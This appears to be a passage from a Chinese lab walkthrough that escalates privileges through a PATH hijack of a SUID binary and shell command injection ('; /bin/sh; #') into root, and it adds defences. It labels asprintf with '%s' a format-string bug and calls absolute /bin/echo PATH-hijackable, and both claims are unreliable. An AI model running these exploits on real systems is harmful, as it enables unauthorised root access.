&lt;p&gt;&lt;img alt="image-20250724100358813" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724100358813.png"&gt;&lt;/p&gt;
&lt;p&gt;查看密码文件发现，john的用户权限可能更高，因为他的数字是1000，代表他是root之后新建的第一个用户，极有可能是管理员用户。kent用户下面没有特别的文件，kane用户文件夹下有个可执行文件，但是执行提示没找到mike文件夹下的msg.txt文件。Mike用户的密码不是mysql中的那个。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;如果是官方靶机，这里就有第一个flag。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250724100839957" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724100839957.png"&gt;&lt;/p&gt;
&lt;p&gt;而且这个msgmike文件是mike用户给我们的，不是kane用户建立的，具有SUID权限。执行的结果发现：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ /home/kane/msgmike
cat: /home/mike/msg.txt: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;运行&lt;code&gt;msgmike&lt;/code&gt;显示错误：尝试调用&lt;code&gt;cat&lt;/code&gt;读取&lt;code&gt;/home/mike/msg.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;关键发现：程序使用&lt;strong&gt;相对路径&lt;/strong&gt;调用系统命令&lt;code&gt;cat&lt;/code&gt;，而不是绝对路径&amp;quot;/bin/cat&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;思路就是看一下路径劫持提权的相关方法，让mgsmike文件以为cat是我们设置的&amp;quot;cat&amp;quot;而不是系统中的 &lt;code&gt;/bin/cat&lt;/code&gt;，巧妙的用msgmike文件执行&amp;quot;cat&amp;quot;的提权命令，提权为mike后再看下一步。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;创建恶意替代文件&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/bin/sh&amp;#39;&lt;/span&gt; &amp;gt; cat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;777&lt;/span&gt; cat
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;创建名为&lt;code&gt;cat&lt;/code&gt;的文件，内容为&lt;code&gt;/bin/sh&lt;/code&gt;（启动shell）&lt;/li&gt;
&lt;li&gt;赋予完全权限（任何用户可执行）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;劫持PATH环境变量&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./:&lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;将当前目录&lt;code&gt;.&lt;/code&gt;添加到&lt;code&gt;PATH&lt;/code&gt;变量最前面&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优先级规则&lt;/strong&gt;：系统会优先在当前目录查找可执行文件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行SetUID程序&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./msgmike
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;运行拥有SetUID权限的&lt;code&gt;msgmike&lt;/code&gt;程序（属主为mike）&lt;/li&gt;
&lt;li&gt;当程序尝试执行&lt;code&gt;cat&lt;/code&gt;命令时：&lt;/li&gt;
&lt;li&gt;先在当前目录(./)查找 → 找到恶意&lt;code&gt;cat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;/bin/sh&lt;/code&gt;→ 开启新shell&lt;/li&gt;
&lt;li&gt;msg.txt找不到就找不到了，都提权成功了，管他找不找得到&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;权限升级&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;$ id
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;mike&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;mike&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;mike&lt;span class="o"&gt;)&lt;/span&gt;,1003&lt;span class="o"&gt;(&lt;/span&gt;kane&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;新shell以程序所有者(mike)的身份运行&lt;/li&gt;
&lt;li&gt;成功从kane提权至mike用户&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250724104816214" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724104816214.png"&gt;&lt;/p&gt;
&lt;h3 id="程序逻辑漏洞mike提权为root"&gt;程序逻辑漏洞，Mike提权为root
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250724104958966" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724104958966.png"&gt;&lt;/p&gt;
&lt;p&gt;mike文件夹下发现一个可执行文件，输入什么输出什么，用&lt;code&gt;strings&lt;/code&gt;看一下内容，猜测文件的逻辑是输入的内容存为变量再输出。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250724105203808" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724105203808.png"&gt;&lt;/p&gt;
&lt;p&gt;但是看文件的逻辑是，获取键入的字符，但是只echo了第一行到/root/messeges.txt中，后续的内容应该是会调用system这个逻辑。所以多输入用分号代表分行，就能输入第二行的提权命令了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250724105504054" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724105504054.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250724105839853" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724105839853.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250724110029309" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724110029309.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="知识点补充"&gt;知识点补充
&lt;/h2&gt;&lt;h3 id="-技术原理详解"&gt;🧠 技术原理详解
&lt;/h3&gt;&lt;h4 id="1-setuid程序特性"&gt;1. SetUID程序特性
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// msgmike 代码模拟
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;cat /home/mike/msg.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;msgmike&lt;/code&gt;拥有SetUID位：&lt;code&gt;-rwsr-x---&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;执行时获得文件所有者(mike)的权限&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-shell命令解析机制"&gt;2. Shell命令解析机制
&lt;/h4&gt;&lt;p&gt;当程序调用&lt;code&gt;system(&amp;quot;cat ...&amp;quot;)&lt;/code&gt;时：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;/bin/sh -c &lt;span class="s2"&gt;&amp;#34;cat ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Shell按照&lt;code&gt;PATH&lt;/code&gt;顺序查找可执行文件&lt;/li&gt;
&lt;li&gt;PATH顺序：&lt;code&gt;./&lt;/code&gt;&amp;gt; &lt;code&gt;/usr/bin&lt;/code&gt;&amp;gt; &lt;code&gt;/bin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-环境变量攻击链"&gt;3. 环境变量攻击链
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TD
 A[SetUID程序 msgmike] --&gt;|以mike权限运行system| B[调用系统命令 'cat']
 B --&gt; C{Shell 查找 cat 命令}
 C --&gt;|PATH 搜索顺序| D[检查当前目录 .]
 D --&gt;|找到恶意 cat| E[执行 ./cat]
 E --&gt;|内容为 '/bin/sh'| F[启动 shell 进程]
 F --&gt;|继承 mike 权限| G[获得 mike 权限的 shell]
 C --&gt;|PATH 搜索顺序| H[检查 /usr/bin]
 H --&gt;|正常 cat| I[执行系统 cat]
 classDef red fill:#f9d5d5,stroke:#b85450;
 classDef green fill:#d5f9d5,stroke:#50b854;
 class A,B,C,E,F,G red;
 class H,I green;
 style C stroke:#333,stroke-width:2px;&lt;/pre&gt;&lt;h4 id="-必要条件"&gt;⚠️ 必要条件
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SetUID程序&lt;/strong&gt;：必须存在属主权限更高的可执行文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态命令调用&lt;/strong&gt;：程序使用相对路径调用系统命令&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件系统权限&lt;/strong&gt;：攻击者需有目录写入权限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PATH变量可修改&lt;/strong&gt;：环境变量未被锁定&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="-防御措施"&gt;🛡️ 防御措施
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;编码规范&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 使用绝对路径代替相对路径
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/bin/cat /home/mike/msg.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;降低权限&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getuid&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// 执行外部命令前放弃特权
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;锁定环境&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置安全PATH&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/bin:/bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件系统加固&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod g-s /home/kane &lt;span class="c1"&gt;# 移除SetGID位&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chattr +i msgmike &lt;span class="c1"&gt;# 锁定文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="程序逻辑分析与还原"&gt;程序逻辑分析与还原
&lt;/h3&gt;&lt;h4 id="-关键字符串线索"&gt;🔍 关键字符串线索
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Message for root:&lt;/code&gt;→ 程序提示用户输入&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/echo %s &amp;gt;&amp;gt; /root/messages.txt&lt;/code&gt;→ 核心命令模板&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fgets&lt;/code&gt;, &lt;code&gt;asprintf&lt;/code&gt;, &lt;code&gt;system&lt;/code&gt;→ 重要函数调用&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="-程序逻辑还原"&gt;🧩 程序逻辑还原
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 1. 输出提示信息
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Message for root:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 2. 读取用户输入
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;fgets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 3. 格式化系统命令
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;asprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;/bin/echo %s &amp;gt;&amp;gt; /root/messages.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 4. 执行系统命令
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 5. 清理内存
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="-漏洞点与攻击面分析"&gt;⚡️ 漏洞点与攻击面分析
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;命令注入漏洞 (Command Injection)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 利用方式示例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;$ ./msg2root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Message &lt;span class="k"&gt;for&lt;/span&gt; root:&lt;span class="p"&gt;;&lt;/span&gt; whoami &amp;gt;&amp;gt; /root/exploit.txt&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;分号&lt;code&gt;;&lt;/code&gt;允许添加额外命令&lt;/li&gt;
&lt;li&gt;恶意命令以root权限执行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;格式化字符串漏洞 (Format String Vulnerability)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;asprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;/bin/echo %s &amp;gt;&amp;gt; ...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;无过滤的用户输入直接用于格式化字符串&lt;/li&gt;
&lt;li&gt;可能触发内存泄露或任意写入&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;路径依赖问题&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;硬编码使用&lt;code&gt;/bin/echo&lt;/code&gt;而非&lt;code&gt;/usr/bin/echo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;环境变量PATH可被劫持&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="-实际攻击场景演示"&gt;🛠️ 实际攻击场景演示
&lt;/h4&gt;&lt;h4 id="场景1命令注入获取root-shell"&gt;场景1：命令注入获取root shell
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;$ ./msg2root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Message &lt;span class="k"&gt;for&lt;/span&gt; root:&lt;span class="p"&gt;;&lt;/span&gt; /bin/sh&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;# &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实际执行命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;/bin/echo &lt;span class="p"&gt;;&lt;/span&gt; /bin/sh&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;# &amp;gt;&amp;gt; /root/messages.txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;注入命令&lt;code&gt;/bin/sh&lt;/code&gt;启动shell&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#&lt;/code&gt;后的内容被注释，避免语法错误&lt;/li&gt;
&lt;li&gt;新shell继承程序的root权限&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="场景2写入敏感文件"&gt;场景2：写入敏感文件
